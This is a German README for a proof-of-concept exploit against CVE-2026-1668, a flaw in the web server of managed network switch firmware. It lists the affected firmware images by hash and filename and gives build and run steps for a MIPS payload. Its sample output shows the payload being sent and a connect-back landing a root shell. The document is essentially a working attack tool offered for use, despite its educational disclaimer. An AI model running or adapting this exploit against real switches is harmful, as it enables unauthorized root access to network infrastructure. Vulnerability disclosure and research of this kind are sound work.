Proof-of-concept-Exploit für CVE-2026-1668

Dies ist ein Proof-of-concept-Exploit für CVE-2026-1668. Er ist ausschließlich zu Bildungszwecken gedacht. Bitte versuchen Sie nicht, Systeme auszunutzen, die Sie nicht besitzen oder für deren Ausnutzung Sie keine ausdrückliche Erlaubnis haben.

Dieser Proof-of-concept wurde gegen ein Firmware-Image mit dem folgenden SHA256-Hash entwickelt: 4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544.

Firmware-Namen, die bekanntermaßen zu diesem Hash passen (nicht abschließend):

• SG2005P-PDv1_en_1.0.16_[20251031-rel72837]_up.bin
• SG2008Pv3_en_3.20.14_[20251031-rel72837]_up.bin
• SG2008v4_en_4.20.14_[20251031-rel72837]_up.bin
• SG2016Pv1_en_1.20.14_[20251031-rel72837]_up.bin
• SG2210MPv4_en_4.20.15_[20251031-rel72837]_up.bin
• SG2210MPv5_en_5.0.12_[20251031-rel72837]_up.bin
• SG2210Pv5_en_5.20.15_[20251031-rel72837]_up.bin
• SG2218Pv1_en_1.20.14_[20251031-rel72837]_up.bin
• SG2218Pv2_en_2.0.11_[20251031-rel72837]_up.bin
• SG2218v1_en_1.20.14_[20251031-rel72837]_up.bin
• SG2428LPv1_en_1.0.12_[20251031-rel72837]_up.bin
• SG2428Pv5_en_5.20.17_[20251031-rel72837]_up.bin
• SG2428Pv5_en_5.30.13_[20251031-rel72837]_up.bin
• SG3210v3_en_3.20.14_[20251031-rel72837]_up.bin
• SL2428Pv6_en_6.20.15_[20251031-rel72837]_up.bin
• TL-SG2428Pv4_en_4.0.23_[20251031-rel72837]_up.bin

Frühere Firmware-Versionen sind wahrscheinlich ebenfalls verwundbar, erfordern jedoch möglicherweise geringfügige Änderungen am Exploit-Payload.

Eine Erklärung zur Funktionsweise des Payloads finden Sie in diesem Blogbeitrag.

Erstellen

Zum Erstellen des Payloads wird eine MIPS-Linux-GCC-Toolchain benötigt. Unter Ubuntu 24.04 kann eine solche mit sudo apt install gcc-mips-linux-gnu installiert werden.

$ make

Ausführen

Dieser Exploit muss ausgeführt werden, bevor der HTTP-Server seine erste Anfrage bedient hat (d. h. bei einem frischen Boot).

$ ./run.sh

Das Skript sollte Sie in eine Root-Shell bringen. Wenn nicht, ist der Exploit fehlgeschlagen.

[*] Sending payload
HTTP/1.1 200 OK
Server: Web Switch
Connection: close
Content-Type: application/json

{"data":{"mByCtrl":0,"includePrivacyPolicy":0,"includeAutoCheck":1,"includeSshController":1},"errorcode":0,"success":true,"timeout":false}
[*] Connecting back to get a shell
/bin/sh: can't access tty; job control turned off
/etc #